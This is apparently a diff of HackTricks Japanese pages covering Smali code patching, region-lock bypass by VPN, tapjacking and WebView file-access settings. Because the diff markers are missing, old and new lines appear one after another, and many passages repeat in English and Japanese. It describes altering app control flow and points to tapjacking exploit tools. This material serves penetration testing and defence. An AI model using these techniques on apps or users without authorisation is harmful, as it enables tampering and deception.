System.out.println("Hello World")
}
```
Smaliコードは次のようになります
```
```java
.method public static printHelloWorld()V
.registers 2
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
@ -99,14 +101,12 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
return-void
.end method
```
Smali命令セットは[こちら](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions)で利用可能です。
### 軽微な変更
### 関数内の変数の初期値を変更する
一部の変数は、関数の最初に_opcode_ _const_を使用して定義されます。これらの値を変更することができます。または、新しい変数を定義することもできます。
```
一部の変数は、関数の最初に _const_ オペコードを使用して定義されます。その値を変更したり、新しい変数を定義したりできます。
```bash
#Number
const v9, 0xf4240
const/4 v8, 0x1
@ -114,63 +114,7 @@ const/4 v8, 0x1
const-string v5, "wins"
```
### 基本的な操作
In this section, we will cover some basic operations that can be performed on Smali code.
このセクションでは、Smaliコードで実行できるいくつかの基本的な操作について説明します。
#### 1. Modifying Constants
#### 1. 定数の変更
To modify a constant value in Smali code, you need to locate the instruction that loads the constant value onto the stack and replace it with a new value.
Smaliコードで定数値を変更するには、スタックに定数値をロードする命令を見つけて、新しい値に置き換える必要があります。
For example, if you want to change the value of a constant from 123 to 456, you would look for the instruction `const/16 v0, 123` and replace it with `const/16 v0, 456`.
例えば、定数の値を123から456に変更したい場合、命令`const/16 v0, 123`を探して、`const/16 v0, 456`に置き換えます。
#### 2. Modifying Method Calls
#### 2. メソッド呼び出しの変更
To modify a method call in Smali code, you need to locate the instruction that invokes the method and replace it with a new method call.
Smaliコードでメソッド呼び出しを変更するには、メソッドを呼び出す命令を見つけて、新しいメソッド呼び出しに置き換える必要があります。
For example, if you want to change a method call from `invoke-virtual {v0, v1}, Lcom/example/Class;->method()V` to `invoke-static {v0, v1}, Lcom/example/Class;->newMethod()V`, you would replace the `invoke-virtual` instruction with `invoke-static`.
例えば、メソッド呼び出しを`invoke-virtual {v0, v1}, Lcom/example/Class;->method()V`から`invoke-static {v0, v1}, Lcom/example/Class;->newMethod()V`に変更したい場合、`invoke-virtual`命令を`invoke-static`に置き換えます。
#### 3. Modifying Field Access
#### 3. フィールドアクセスの変更
To modify a field access in Smali code, you need to locate the instruction that accesses the field and replace it with a new field access.
Smaliコードでフィールドアクセスを変更するには、フィールドにアクセスする命令を見つけて、新しいフィールドアクセスに置き換える必要があります。
For example, if you want to change a field access from `iget-object v0, v1, Lcom/example/Class;->field:Lcom/example/Field;` to `sget-object v0, Lcom/example/Class;->newField:Lcom/example/Field;`, you would replace the `iget-object` instruction with `sget-object`.
例えば、フィールドアクセスを`iget-object v0, v1, Lcom/example/Class;->field:Lcom/example/Field;`から`sget-object v0, Lcom/example/Class;->newField:Lcom/example/Field;`に変更したい場合、`iget-object`命令を`sget-object`に置き換えます。
#### 4. Modifying Control Flow
#### 4. 制御フローの変更
To modify the control flow in Smali code, you need to locate the instructions that control the flow and modify them accordingly.
Smaliコードで制御フローを変更するには、フローを制御する命令を見つけて、適宜変更する必要があります。
For example, if you want to change a conditional branch from `if-eqz v0, :label` to `if-nez v0, :label`, you would replace the `if-eqz` instruction with `if-nez`.
例えば、条件付き分岐を`if-eqz v0, :label`から`if-nez v0, :label`に変更したい場合、`if-eqz`命令を`if-nez`に置き換えます。
These are just a few examples of the basic operations that can be performed on Smali code. With these operations, you can modify the behavior of an Android app and potentially exploit vulnerabilities.
これらは、Smaliコードで実行できる基本的な操作の一部です。これらの操作を使用することで、Androidアプリの動作を変更し、潜在的な脆弱性を悪用することができます。
```
```bash
#Math
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
mul-int v0,v2,0x2 #v2*0x2 and save in v0
@ -195,7 +139,7 @@ goto :goto_6 #Always go to: :goto_6
### 大きな変更
### ロギング
```
```bash
#Log win: <number>
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; #Transform number to String
@ -203,20 +147,20 @@ move-result-object v1 #Move to v1
const-string v5, "wins" #Save "win" inside v5
invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: <num>"
```
推奨事項:
Recommendations:
* 関数内で宣言された変数v0、v1、v2などを使用する場合は、これらの行を _.local \<number>_ と変数の宣言_const v0, 0x1_の間に配置してください。
* 関数のコードの途中にログ出力コードを配置したい場合:
* 宣言された変数の数に2を追加してください。例_.locals 10_ から _.locals 12_ に変更します。
* 新しい変数は、既に宣言された変数の次の番号である必要があります(この例では _v10__v11_ になります。v0から始まることを忘れないでください
* ログ出力関数のコードを変更し、_v5_ と _v1_ の代わりに _v10__v11_ を使用してください。
* If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local \<number>_ and the declarations of the variables (_const v0, 0x1_)
* If you want to put the logging code in the middle of the code of a function:
* Add 2 to the number of declared variables: Ex: from _.locals 10_ to _.locals 12_
* The new variables should be the next numbers of the already declared variables (in this example should be _v10_ and _v11_, remember that it starts in v0).
* Change the code of the logging function and use _v10_ and _v11_ instead of _v5_ and _v1_.
### トースティング
### Toasting
関数の先頭で _.locals_ の数に3を追加することを忘れないでください。
Remember to add 3 to the number of _.locals_ at the beginning of the function.
このコードは、**関数の途中に挿入するために準備されています**(必要に応じて**変数の数**を**変更**してください)。これは、**this.o** の値を**String**に変換し、その値で**トースト**を作成します。
```
This code is prepared to be inserted in the **middle of a function** (**change** the number of the **variables** as necessary). It will take the **value of this.o**, **transform** it to **String** and them **make** a **toast** with its value.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
const/4 v12, 0x1
@ -229,12 +173,14 @@ invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -1,42 +1,45 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* あなたの**会社をHackTricksに広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください
</details>
特定の国に制限されているアプリケーションがあり、地域制限のためAndroidデバイスにインストールできない場合、アプリが利用可能な国に位置情報を偽装することでアクセスできるようになります。以下の手順に従って操作します
**情報はこちらからコピーしました** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)
1. **Hotspot Shield Free VPN Proxyをインストールする**
- Google PlayストアからHotspot Shield Free VPN Proxyをダウンロードしてインストールします。
多くの場合、評価したいアプリケーションが特定の国でのみ許可されているため、そのアプリケーションをAndroidデバイスにインストールすることができません。しかし、その国にあなたの位置を偽装することができれば、そのアプリケーションにアクセスすることができます。以下はその手順です。
2. **VPNサーバに接続する**
- Hotspot Shieldアプリケーションを開きます。
- アクセスしたいアプリが利用可能な国を選択してVPNサーバに接続します。
* まず、Google Play Storeから**Hotspot Shield Free VPN Proxy**をインストールします。\
![](https://i.imgur.com/0XrmuKY.png)
* それを使用して接続し、必要な国を選択します。\
![](https://i.imgur.com/Z0WHrZX.png)
* 次に、**設定** >> **アプリ** >> **Google Play Store**に移動し、**強制停止**をタップした後、**データを消去**をタップします。\
![](https://i.imgur.com/sjFrr67.png)
* **Google Play Store**を開き、その国でのみ利用可能なアプリケーションを検索してインストールすることができるようになります。\
![](https://i.imgur.com/zfdhCBI.png)
3. **Google Playストアのデータを消去する**
- デバイスの**設定**に移動します。
- **アプリ**または**アプリケーションマネージャ**に進みます(デバイスによって異なる場合があります)。
- アプリのリストから**Google Playストア**を見つけて選択します。
- アプリの実行中プロセスを終了するために**強制停止**をタップします。
- 次に、Google Playストアアプリをデフォルト状態にリセットするために**データを消去**または**ストレージをクリア**(正確な用語は異なる場合があります)をタップします。
4. **制限されたアプリケーションにアクセスする:**
- **Google Playストア**を開きます。
- ストアは今やVPN経由で接続した国のコンテンツを反映するはずです。
- 以前に実際の場所で利用できなかったアプリケーションを検索してインストールできるはずです。
### 重要な注意事項:
- この方法の効果は、VPNサービスの信頼性やアプリによって課せられる特定の地域制限など、いくつかの要因に基づいて異なる場合があります。
- 定期的にVPNを使用すると、一部のアプリやサービスのパフォーマンスに影響を与える可能性があります。
- 地域制限をバイパスするためにVPNを使用することは、使用しているアプリやサービスの利用規約に注意してください。
## 参考文献
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* あなたの**会社をHackTricksに広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>

View file

@ -2,40 +2,42 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
## **基本情報**
**タップジャッキング**は、**悪意のあるアプリケーション**が起動し、**被害者のアプリケーションの上に配置**される攻撃です。被害者のアプリを視覚的に隠すと、ユーザーインターフェースはユーザーをだますように設計されており、ユーザーが相互作用するように見せかけながら、実際には被害者のアプリに対して相互作用を行っています。\
結果として、ユーザーは自分が実際に被害者のアプリ上で操作を行っていることを知ることができません
**タップジャッキング**は、**悪意のあるアプリケーション**が起動し、**被害者アプリケーションの上に配置される**攻撃です。一旦被害者アプリケーションが見えなくなると、そのユーザーインターフェースはユーザーをだまして相互作用させ、その操作を被害者アプリケーションに渡します。\
実際には、ユーザーが被害者アプリケーションで操作を行っていることを知らないように**ユーザーを盲目化**しています
### 検出
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルタを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**それらがどのようなパーミッションを必要とするかを確認**してください。なぜなら、**悪意のあるアプリケーションもそのパーミッションが必要になるからです**
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルタを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**それらがどの権限を必要とするかを確認**してください。これは**悪意のあるアプリケーションもその権限が必要になる**ためです
### 保護
#### Android 12API 31,32以降
#### Android 12API 31,32およびそれ以降
[**このソースによると**](https://www.geeksforgeeks.org/tapjacking-in-android/)、Android 12API 31および30以降では、タップジャッキング攻撃は自動的にAndroidによって防止されます。したがって、アプリケーションが脆弱であっても、**それを悪用することはできません**。
[**このソースによると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、Android 12API 31および30以降ではAndroidによってタップジャッキング攻撃が自動的に防止されます。したがって、アプリが脆弱であっても**それを悪用することはできません**。
#### `filterTouchesWhenObscured`
**`android:filterTouchesWhenObscured`**が**`true`**に設定されている場合、`View`は別の表示ウィンドウによって覆われている場合にはタッチを受け取りません。
**`android:filterTouchesWhenObscured`**が**`true`**に設定されている場合、`View`は別の可視ウィンドウによってウィンドウが隠されているときにはタッチを受け取りません。
#### **`setFilterTouchesWhenObscured`**
Androidのバージョンが低い場合、属性**`setFilterTouchesWhenObscured`**を**`true`**に設定することで、この脆弱性の悪用を防ぐこともできます。\
たとえば、ボタンが覆われている場合には自動的に**無効化される**ことがあります。
```markup
属性**`setFilterTouchesWhenObscured`**がtrueに設定されている場合、Androidバージョンが低い場合でもこの脆弱性の悪用を防ぐことができます。\
たとえば、**`true`**に設定されている場合、ボタンは**隠されている場合に自動的に無効になる**ことがあります。
```xml
<Button android:text="Button"
android:id="@+id/button1"
android:layout_width="wrap_content"
@ -45,38 +47,26 @@ android:filterTouchesWhenObscured="true">
```
## Exploitation
### タップジャッキング-ExportedActivity
### Tapjacking-ExportedActivity
最新のAndroidアプリケーションである**タップジャッキング攻撃**(攻撃対象アプリケーションの**エクスポートされたアクティビティ**の前に呼び出す)は、[**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)で見つけることができます
最新のAndroidアプリケーションは、[**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity) でTapjacking攻撃を実行します攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出します
使用方法については、**READMEの指示に従ってください**。
使用方法については、**READMEの手順に従ってください**。
### FloatingWindowApp
**FloatingWindowApp**を実装したサンプルプロジェクトは、他のアクティビティの上に配置してクリックジャッキング攻撃を実行するために使用できます。[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)少し古いですが、APKをビルドするのに成功を祈ります)。
他のアクティビティの上に配置してクリックジャッキング攻撃を実行するために使用できる**FloatingWindowApp**を実装したサンプルプロジェクトは、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) にあります少し古いですが、APKをビルドする際は幸運を祈ります)。
### Qark
{% hint style="danger" %}
このプロジェクトは現在メンテナンスされておらず、この機能は正常に動作しなくなっているようです。
このプロジェクトは現在メンテナンスされておらず、この機能が正常に機能しなくなっています
{% endhint %}
[**qark**](https://github.com/linkedin/qark)を使用して、`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`のパラメータを使用して、悪意のあるアプリケーションを作成し、**タップジャッキング**の脆弱性をテストすることができます。
悪意のあるアプリケーションを作成して**Tapjacking**の脆弱性をテストするために、`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark) を使用できます。
対策は比較的簡単で、開発者は他のビューによってカバーされた場合にタッチイベントを受け取らないように選択することができます。[Android Developers Reference](https://developer.android.com/reference/android/view/View#security)を使用します。
開発者は、ビューが他のビューによって覆われている場合にタッチイベントを受信しないように選択できるため、緩和策は比較的簡単です。[Android Developers Reference](https://developer.android.com/reference/android/view/View#security) を使用します:
> アプリケーションがユーザーの完全な知識と同意の下でアクションが実行されていることを確認することが重要な場合があります。例えば、許可リクエストの許可、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、意図したビューの目的を隠してユーザーにこれらのアクションを実行させようとすることがあります。その対策として、フレームワークはタッチフィルタリングメカニズムを提供しており、これを使用して、機密機能へのアクセスを提供するビューのセキュリティを向上させることができます。
> アプリケーションがユーザーの完全な知識と同意の下でアクションが実行されていることを検証できることが不可欠な場合があります。たとえば、許可リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、意図したビューの目的を隠してユーザーにこれらのアクションを無自覚に実行させようとするかもしれません。その対処法として、フレームワークは、感度の高い機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
>
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが他の可視ウィンドウによって隠されている場合に受け取ったタッチを破棄します。その結果、ビューは、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示される場合にはタッチを受け取りません。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) を呼び出すか、android:filterTouchesWhenObscured レイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが他の可視ウィンドウによって覆われているときに受信されたタッチを破棄します。その結果、ビューは、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるときにタッチを受信しません。

View file

@ -2,186 +2,115 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details>
## 興味深い設定
## WebView構成とセキュリティの簡易ガイド
次のように公開されたWebViewを特定できます。
### WebView脆弱性の概要
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
Android開発の重要な側面の1つは、WebViewsの適切な処理です。このガイドでは、WebViewの使用に関連するリスクを軽減するための主要な構成とセキュリティ慣行を強調しています。
### ファイルアクセス
![WebViewの例](../../.gitbook/assets/image%20(718).png)
_WebView_のファイルアクセスはデフォルトで有効になっています。API 3Cupcake 1.5)以降、[_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\))メソッドを使用して明示的に有効化または無効化できます。\
アプリケーションが\_**android.permission.READ\_EXTERNAL\_STORAGE** \_を持っている場合、外部ストレージからファイルを読み込んでロードすることができます。\
_WebView_は、ファイルURLスキーム`file://path/file`)を使用してファイルにアクセスする必要があります。
### **WebViewsでのファイルアクセス**
#### ファイルURLからのユニバーサルアクセス非推奨
デフォルトでは、WebViewsはファイルアクセスを許可します。この機能は、Android APIレベル3Cupcake 1.5以降)から利用可能な`setAllowFileAccess()`メソッドによって制御されます。**android.permission.READ_EXTERNAL_STORAGE**権限を持つアプリケーションは、ファイルURLスキーム`file://path/to/file`)を使用して外部ストレージからファイルを読み取ることができます。
> ファイルスキームURLのコンテキストでの**クロスオリジンリクエスト**が、**任意のオリジンのコンテンツにアクセスできるように**許可されるかどうかを設定します。これには、**他のファイルスキームURLまたはWebコンテキストからのコンテンツへのアクセス**が含まれます。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。
>
> **外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を有効にしないでください。**この設定を有効にすると、`file://`コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータ、さらには任意のWebサイトで使用される資格情報を含む**任意のローカルファイルにアクセス**することができます。
#### **非推奨の機能: ファイルURLからのユニバーサルアクセスおよびファイルアクセス**
要約すると、これにより**任意のオリジンの読み込みが防止**されます。アプリは、コンテンツをロードするためにURLリクエストを送信し、応答がそのオリジンを許可しない場合**`Access-Control-Allow-Origin: file://`**)、コンテンツはロードされません。\
[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN)以上をターゲットにしている場合、**デフォルト値は`false`**です。
